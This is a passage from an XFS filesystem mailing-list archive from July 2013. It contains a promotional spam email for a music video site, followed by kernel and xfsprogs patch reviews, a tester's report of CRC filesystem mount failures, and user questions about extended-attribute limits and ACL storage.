KILL_LEVEL=2.7 tests=BSF_SC7_SA_HREF_HTTP_MISMATCH, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.80 BSF_SC7_SA_HREF_HTTP_MISMATCH BODY: Custom Phishing Mismatch -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format --_----------=_MCPart_779735848 Content-Type: text/plain; charset="utf-8"; format="fixed" Content-Transfer-Encoding: quoted-printable New music video site launches with thousands of stations and facebook chat View this email in your browser (http://us7.campaign-archive2.com/?u=3Dcff= 25387938a97b0fd838f920&id=3D25ecb7fdee&e=3D6e97603da8) Use this area to offer a short preview of your email's content. View this email in your browser (http://us7.campaign-archive2.com/?u=3Dcff= 25387938a97b0fd838f920&id=3D25ecb7fdee&e=3D6e97603da8) ** Finally A Music Video Site That Features JUST Music Videos Non-Stop ------------------------------------------------------------ ** No digging through crappy concert footage. No interviews or lame news s= egments interrupting the music. Just Music Videos. Everyday. Every genre.= Dig it. ------------------------------------------------------------ http://www.thedailyrocker.com Los Angeles, CA - This morning, the new music video site The Daily Rocker= whimsically launched with "Internet Killed The Video Star" kicking off a= major site that features - * The ability to chat with facebook friends while watching music videos un= interrupted * Hours of daily music video programming, hand picked and compiled by real= humans, not computers * The Daily Top Ten Music Videos based on charts, ticket sales, downloads= and buzz * Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELECTRO= NIC, COUNTRY and several cross over formats (all genres in one station) * Task based stations to keep the user motivated while studying, cleaning= the house or trying to make out with someone * Other sub-genres include music by era and a station devoted to female ar= tists with bold voices * Thousands of Artist Stations that automatically send users from one like= minded artist to the next, allowing them to watch videos all day while ge= tting stuff done * New music videos added daily with constantly rotating playlists allow us= ers to keep up with current music while hearing their favorite tunes ** Designing Your Email ------------------------------------------------------------ ** Creating an elegant email is simple ------------------------------------------------------------ Now that you=E2=80=99ve selected a template to work with, drag in content= blocks to define the structure of your message. Don=E2=80=99t worry, you= can always delete or rearrange blocks as needed. Then click =E2=80=9CDesi= gn=E2=80=9D to define fonts, colors, and styles. Need inspiration for your design? Here=E2=80=99s what other MailChimp user= s are doing. (http://inspiration.mailchimp.com) =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ** unsubscribe from this list (http://TheDailyRocker.us7.list-manage.com/u= nsubscribe?u=3Dcff25387938a97b0fd838f920&id=3D6847f0f686&e=3D6e97603da8&c=3D= 25ecb7fdee) ** update subscription preferences (http://TheDailyRocker.us7.list-manage2= =2Ecom/profile?u=3Dcff25387938a97b0fd838f920&id=3D6847f0f686&e=3D6e97603da8) ** unsubscribe from this list (http://TheDailyRocker.us7.list-manage.com/u= nsubscribe?u=3Dcff25387938a97b0fd838f920&id=3D6847f0f686&e=3D6e97603da8&c=3D= 25ecb7fdee) ** update subscription preferences (http://TheDailyRocker.us7.list-manage2= =2Ecom/profile?u=3Dcff25387938a97b0fd838f920&id=3D6847f0f686&e=3D6e97603da8) --_----------=_MCPart_779735848 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable New Music Video Website
    =09
    New music video site launches with thousands o= f stations and facebook chat
    View this email in your browser
    Use this area to offer a short preview of your= email's content.
    View this email in your browser

    =09Finally A Music Video Site That Features JUST Music Videos Non-Stop

    =09No digging through crappy concert footage. No interviews or lame news s= egments interrupting the music. Just Music Videos. Everyday. Every genre.= Dig it.

    =09http://www.thedailyrocker.com
    =09
    =09Los Angeles, CA - This morning, the new music video site The Daily Rock= er whimsically launched with "Internet Killed The Video Star" kicking off= a major site that features -

      =09
    • =09=09The ability to chat with facebook friends while watching music video= s uninterrupted
    • =09
    • =09=09Hours of daily music video programming, hand picked and compiled by= real humans, not computers
    • =09
    • =09=09The Daily Top Ten Music Videos based on charts, ticket sales, downlo= ads and buzz
    • =09
    • =09=09Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELE= CTRONIC, COUNTRY and several cross over formats (all genres in one station= )
    • =09
    • =09=09Task based stations to keep the user motivated while studying, clean= ing the house or trying to make out with someone
    • =09
    • =09=09Other sub-genres include music by era and a station devoted to femal= e artists with bold voices
    • =09
    • =09=09Thousands of Artist Stations that automatically send users from one= like minded artist to the next, allowing them to watch videos all day whi= le getting stuff done
    • =09
    • =09=09New music videos added daily with constantly rotating playlists allo= w users to keep up with current music while hearing their favorite tunes

    =09 

    Designing Your Email

    Creating an elegant email is simple

    Now that you=E2=80=99ve selected a template to work with, drag in content= blocks to define the structure of your message. Don=E2=80=99t worry, you= can always delete or rearrange blocks as needed. Then click =E2=80=9CDesi= gn=E2=80=9D to define fonts, colors, and styles.

    Need inspiration for your design? Here=E2=80=99s what other MailChimp users are doing.

    Copyright =C2=A9 2013 The Daily Rocker, Al= l rights reserved.
    Thanks for keeping on the loop with The Daily Rocker

    Our mailing address is:
    The Daily Rocker
    Los Angeles
    Los Angeles, CA 90014

    Add us to your address book

    unsubscribe from this li= st    update subscription preferences 

    Copyright =C2=A9 2013 The Daily Rocker, Al= l rights reserved.
    Thanks for keeping on the loop with The Daily Rocker

    Our mailing address is:
    The Daily Rocker
    Los Angeles
    Los Angeles, CA 90014

    Add us to your address book

    unsubscribe from this li= st    update subscription preferences 

    --_----------=_MCPart_779735848-- From bpm@sgi.com Tue Jul 23 14:10:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6EBA77F3F for ; Tue, 23 Jul 2013 14:10:47 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id F0FC5AC006; Tue, 23 Jul 2013 12:10:43 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B88624266DC; Tue, 23 Jul 2013 14:10:43 -0500 (CDT) Date: Tue, 23 Jul 2013 14:10:43 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 05/48] xfsprogs: Support new AGFL format Message-ID: <20130723191043.GK3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-6-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:28AM +1000, Dave Chinner wrote: > From: Dave Chinner > > With the addition of CRCs to the filesystem format, the AGFL has a > new format structure definition. Existing code that pulls freelist > blocks out via dereferencing agfl->agfl_bno no longer works as the > location of the free list is now variable depending on the disk > format in use. > > Hence all the users of agfl_bno need ot be converted to extract the > location of the first free list entry from the AGFL and grab entries > relative to that first entry. It's a simple change, but needs to be > made in several places as there is very little code reuse within and > between the different utilities in xfsprogs. Looks fine. Reviewed-by: Ben Myers From bpm@sgi.com Tue Jul 23 14:17:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 668E87F3F for ; Tue, 23 Jul 2013 14:17:49 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 50296304067; Tue, 23 Jul 2013 12:17:46 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 289E94266DC; Tue, 23 Jul 2013 14:17:46 -0500 (CDT) Date: Tue, 23 Jul 2013 14:17:46 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 06/48] libxfs: change quota buffer formats Message-ID: <20130723191746.GL3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-7-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-7-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:29AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner Corresponds to commit 3fe58f30b4f Reviewed-by: Ben Myers From mlsemon35@gmail.com Tue Jul 23 16:02:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 807E67F3F for ; Tue, 23 Jul 2013 16:02:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1B7A0AC008 for ; Tue, 23 Jul 2013 14:02:36 -0700 (PDT) X-ASG-Debug-ID: 1374613350-04bdf0245c32d650001-NocioJ Received: from mail-ve0-f173.google.com (mail-ve0-f173.google.com [209.85.128.173]) by cuda.sgi.com with ESMTP id sIPz2rDZmxy3LFT6 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 23 Jul 2013 14:02:31 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.173 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.173] Received: by mail-ve0-f173.google.com with SMTP id jw11so6447148veb.18 for ; Tue, 23 Jul 2013 14:02:30 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.173] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.173] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=JUtynoC930wjyhTyeCIkWcattKqjaEevkiKswT8WMYU=; b=RXHwrACfOOJX7HZciSuzvm32gqt6HqyZwqEzxT49gbHbzCxoGdcz15iXGZGWBQWCFg IqYf5MIBWZlFMCD9M2JbrQAPH7u9PShQY+Ma5hx3Favt6G8UngnRHsnoAitpY6yLK7HX YNRwjhKFZT1bRRnDT/LVz7spSgcTg6UjdrEu1U7E+vfJob0jv94KWqcO0cMT9Ri+CTOC Isev4KTx/qrW9Q58JcnQQq4BEA3a8OGf9+FPy796llA8u0m6itZcAh9Ra0idxNLczoZx Ul798ypu84KZu2n3hC1XTfqDWWruD3JG/IIFX1UYI0IZJNpqFoKLHJzzkBYz5pz/D48j dv7Q== X-Received: by 10.58.239.37 with SMTP id vp5mr12529312vec.32.1374613350503; Tue, 23 Jul 2013 14:02:30 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-78-60-146.se.biz.rr.com. [97.78.60.146]) by mx.google.com with ESMTPSA id kk6sm12232018vdb.5.2013.07.23.14.02.29 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 23 Jul 2013 14:02:29 -0700 (PDT) Message-ID: <51EEEF61.40000@gmail.com> Date: Tue, 23 Jul 2013 17:02:25 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch References: <1374216324-8781-1-git-send-email-david@fromorbit.com> <51EB80DB.80602@gmail.com> <20130722233240.GC19986@dastard> <51EDFA5A.7070402@gmail.com> <20130723044450.GG19986@dastard> X-ASG-Orig-Subj: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch In-Reply-To: <20130723044450.GG19986@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ve0-f173.google.com[209.85.128.173] X-Barracuda-Start-Time: 1374613351 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137258 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 07/23/2013 12:44 AM, Dave Chinner wrote: > On Mon, Jul 22, 2013 at 11:36:58PM -0400, Michael L. Semon wrote: >> On 07/22/2013 07:32 PM, Dave Chinner wrote: >>> On Sun, Jul 21, 2013 at 02:34:03AM -0400, Michael L. Semon wrote: >>>> On 07/19/2013 02:44 AM, Dave Chinner wrote: >>>> >>>>> Comments, thoughts, flames? >>>> >>>> I was hoping that I could use this 3.12 patchset with a 3.11.0-rc >>>> kernel, but the xfstests look like a disaster by going that way. >>> >>> We'll, if you don't have all the filtering patches that I posted a >>> while back it'll make quite a mess with all the experimental >>> warnings mkfs and repair emit, and the xfs_db tests that modify >>> filesystem structures will all also fail... >> >> I've been slacking on xfstests updates. The problem may exist >> between keyboard and chair, though: I was trying to copy a merged >> xfsprogs from one PC to another, then build everything from `make >> distclean` after deleting /usr/include/xfs. Something must have >> gone wrong...won't be the first time... >> >>> I'll repost them later today... >> >> I'll take this patchset home and see if any of them were not >> committed to the xfsprogs git: >> >> http://oss.sgi.com/archives/xfs/2013-06/msg00217.html >> >> Is this the correct patchset? > > Yeah, that's it, thugh I have a more recent version of it locally... > > Cheers, > > Dave. Thanks. After applying this patchset and compiling dmapi, xfsprogs, xfsdump, and xfstests around in circles several times, it looks rather sane now. Two issues remain, one reproduced on another PC: 1) The earlier worries about dmapi and hole punching comes from the results of xfs/145 being run. It hasn't been that long, but I've forgotten the last time xfstests gave messages like "[not run] DMAPI modules not loaded." dmapi is installed as a prerequisite; I have precisely zero knowledge of what happens when it is enabled. 2) There are two PCs: the one being discussed here, and the all-3.12 setup that is in mid-bisect. For CRC filesystems made by the new mkfs.xfs for the 3.11.0-rc and 3.10.0+ mid-bisect kernels, attempts to mount them fail with a dmesg like this (by memory)... XFS(sdb6): ... unknown incompatible features (0x1) detected ... Filesystem can not be safely mounted by this kernel. Is there an extra flag that can be passed to mkfs.xfs for the sake of older CRC-capable kernels? FWIW, both PCs could still mount CRC-enabled XFS filesystems made during the kernel 3.10-rc cycle. Thanks again! Michael From tinguely@sgi.com Tue Jul 23 16:15:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9DEBF7F3F for ; Tue, 23 Jul 2013 16:15:31 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7016A8F8037; Tue, 23 Jul 2013 14:15:28 -0700 (PDT) Message-ID: <51EEF26F.5040001@sgi.com> Date: Tue, 23 Jul 2013 16:15:27 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-45-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > Now that we have the size of the object before the formatting pass > is called, we can allocation the log vector and it's buffer in a > single allocation rather than two separate allocations. > > Store the size of the allocated buffer in the log vector so that > we potentially avoid allocation for future modifications of the > object. > > While touching this code, remove the IOP_FORMAT definition. > > Signed-off-by: Dave Chinner Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Tue Jul 23 16:21:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B582D7F3F for ; Tue, 23 Jul 2013 16:21:25 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 91578304064; Tue, 23 Jul 2013 14:21:25 -0700 (PDT) Message-ID: <51EEF3D4.2000201@sgi.com> Date: Tue, 23 Jul 2013 16:21:24 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 46/49] xfs: Combine CIL insert and prepare passes References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-47-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-47-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > Now that all the log item preparation and formatting is done under > the CIL lock, we can get rid of the intermediate log vector chain > used to track items to be inserted into the CIL. > > We can already find all the items to be committed from the > transaction handle, so as long as we attach the log vectors to the > item before we insert the items into the CIL, we don't need to > create a log vector chain to pass around. > > This means we can move all the item insertion code into and optimise > it into a pair of simple passes across all the items in the > transaction. The first pass does the formatting and accounting, the > second inserts them all into the CIL. > > We keep this two pass split so that we can separate the CIL > insertion - which must be done under the CIL spinlock - from the > formatting. We could insert each item into the CIL with a single > pass, but that massively increases the number of times we have to > grab the CIL spinlock. It is much more efficient (and hence > scalable) to do a batch operation and insert all objects in a single > lock grab. > > Signed-off-by: Dave Chinner ... > @@ -357,10 +341,8 @@ xlog_cil_insert_items( > * during the transaction commit. > */ > if (ctx->ticket->t_curr_res == 0) { > - /* first commit in checkpoint, steal the header reservation */ > - ASSERT(ticket->t_curr_res>= ctx->ticket->t_unit_res + len); ^^ is the ctx ticket overflow caught somewhere else? ^^^^ > ctx->ticket->t_curr_res = ctx->ticket->t_unit_res; > - ticket->t_curr_res -= ctx->ticket->t_unit_res; > + tp->t_ticket->t_curr_res -= ctx->ticket->t_unit_res; > } > Thanks, --Mark. From xfs@tlinx.org Tue Jul 23 16:27:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 870BB7F3F for ; Tue, 23 Jul 2013 16:27:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6FA968F8040 for ; Tue, 23 Jul 2013 14:27:48 -0700 (PDT) X-ASG-Debug-ID: 1374614863-04cb6c2a421074f10001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id yCjfAHvljFX2owqB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 14:27:46 -0700 (PDT) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id r6NLRYvl088756 for ; Tue, 23 Jul 2013 14:27:36 -0700 Message-ID: <51EEF543.5020305@tlinx.org> Date: Tue, 23 Jul 2013 14:27:31 -0700 From: Linda Walsh User-Agent: Thunderbird MIME-Version: 1.0 To: xfs-oss Subject: RFE: the manpage claims no limits on size of file extended attributes; has this now true? Content-Type: text/plain; charset=UTF-8 X-ASG-Orig-Subj: RFE: the manpage claims no limits on size of file extended attributes; has this now true? Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1374614866 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137258 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Ok, lemme rephrase my questions... The man page lists maximums for values at 64K, and names at 255 characters. This implies these are the only limits one need worry about -- i.e. there is no limit on the maximum number of 255 byte names nor is there a limit on the sum of the values of attributes. Is it something like 2^60 bytes? or some such limit that no one will ever hit? Could I store alternate soundtracks for movies in attribute fields, or alternate scenes for movies? From xfs@tlinx.org Tue Jul 23 16:29:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4106E7F3F for ; Tue, 23 Jul 2013 16:29:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BD1F2AC009 for ; Tue, 23 Jul 2013 14:29:52 -0700 (PDT) X-ASG-Debug-ID: 1374614987-04cbb0468e131e350001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id o0cyo78z0AmjTXBQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 14:29:51 -0700 (PDT) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id r6NLTjVw089047 for ; Tue, 23 Jul 2013 14:29:47 -0700 Message-ID: <51EEF5C6.3050904@tlinx.org> Date: Tue, 23 Jul 2013 14:29:42 -0700 From: Linda Walsh User-Agent: Thunderbird MIME-Version: 1.0 To: xfs-oss Subject: BUG: ACL's are a security attribute. They belong in the Security attrib space, not the Root-attrib space. Content-Type: text/plain; charset=UTF-8 X-ASG-Orig-Subj: BUG: ACL's are a security attribute. They belong in the Security attrib space, not the Root-attrib space. Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1374614990 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137258 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Currently there are 3 disjoint attribute spaces on files -- user, root and security. (there is a misprint in the manual that says there is 2, but later, it gives talks about using no switch giving the User attrib space, -R for Root attrib space, and -S for the Security attrib space). Of these, the ACL's are being placed in the root, which might describe file types, or other OS related info, but not security attributes like ACL's. They should be in the Security attrib space (otherwise what is the point of a Security attribute space). From xfs@tlinx.org Tue Jul 23 16:31:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0FF007F3F for ; Tue, 23 Jul 2013 16:31:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9166EAC008 for ; Tue, 23 Jul 2013 14:31:01 -0700 (PDT) X-ASG-Debug-ID: 1374615058-04bdf0245b32f060001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id MHXYayH7v2itdmD2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 14:31:00 -0700 (PDT) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id r6NLUtHY089488 for ; Tue, 23 Jul 2013 14:30:58 -0700 Message-ID: <51EEF60D.6080102@tlinx.org> Date: Tue, 23 Jul 2013 14:30:53 -0700 From: Linda Walsh User-Agent: Thunderbird MIME-Version: 1.0 To: xfs-oss Subject: design mismatch(flaw): 2 utils old & new don't provide current functionality nor all of needed... Content-Type: text/plain; charset=UTF-8 X-ASG-Orig-Subj: design mismatch(flaw): 2 utils old & new don't provide current functionality nor all of needed... Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1374615060 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137258 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The attrib command's "list" option is not considered supported, yet it works. The alternative to the unsupported list command is using getfattr. However, getfattr doesn't support listing attributes and their lengths, nor does it support the Root and Security attribute spaces. I.e. getfattr is inadequate to replace the unsupported attrib command. Given the above, the attrib command should be reconsidered for support, or the getfattr command should be enhanced to provide the missing functionality (no major preference on my part), but as it is we have two utils that taken together, "do not support" functionality that is already present (as well as missing functionality). From bpm@sgi.com Tue Jul 23 16:40:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 277537F3F for ; Tue, 23 Jul 2013 16:40:03 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com 